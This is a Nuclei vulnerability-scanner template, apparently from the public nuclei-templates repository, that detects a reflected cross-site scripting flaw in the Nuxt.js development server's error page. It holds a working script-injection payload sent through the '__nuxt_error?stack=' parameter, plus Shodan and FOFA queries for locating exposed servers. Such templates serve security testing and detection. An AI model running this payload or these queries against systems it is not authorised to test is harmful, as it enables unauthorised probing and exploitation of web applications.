nuclei-templates/http/vulnerabilities/nuxt/nuxt-js-xss.yaml

41 lines
1.2 KiB
YAML
Raw Permalink Normal View History

2023-06-17 05:17:59 +00:00
id: nuxt-js-xss
info:
2024-06-17 06:15:42 +00:00
name: Nuxt.js Error Page - Cross-Site Scripting
2023-06-17 05:17:59 +00:00
author: DhiyaneshDK
severity: medium
description: |
The developer server unsafely renders the stack trace within errors. This can be manipulated by sending a specially crafted request.
reference:
- https://huntr.dev/bounties/70ac720d-c932-4ed3-98b1-dd2cbcb90185/
- https://bryces.io/blog/nuxt3
- https://twitter.com/fofabot/status/1669339995780558849
metadata:
2024-06-17 06:12:32 +00:00
verified: true
2023-06-17 05:17:59 +00:00
max-request: 1
shodan-query: html:"buildAssetsDir" "nuxt"
fofa-query: body="buildAssetsDir" && body="__nuxt"
2024-06-17 06:12:32 +00:00
tags: huntr,xss,nuxtjs
2023-06-17 05:17:59 +00:00
2024-06-16 14:31:29 +00:00
variables:
payload: "<script>alert(document.domain)</script>"
2023-06-17 05:17:59 +00:00
http:
- method: GET
path:
2024-06-16 14:31:29 +00:00
- "{{BaseURL}}/__nuxt_error?stack=%0A{{url_encode(payload)}}"
2023-06-17 05:17:59 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
2024-06-16 14:31:29 +00:00
- "{{payload}}"
2023-06-17 05:37:34 +00:00
- "window.__NUXT__"
2023-06-17 05:17:59 +00:00
condition: and
- type: word
part: header
words:
- "text/html"
# digest: 4b0a00483046022100e184ac245cc42774284e2fda8f4ffd559e46ffb273b587dfab98c576f73b92fa022100931427a4621c57da048aa4fdc2981b8ad64512cf8d4894e3dc3f1ce607d0b090:922c64590222798bb761d5b6d8e72950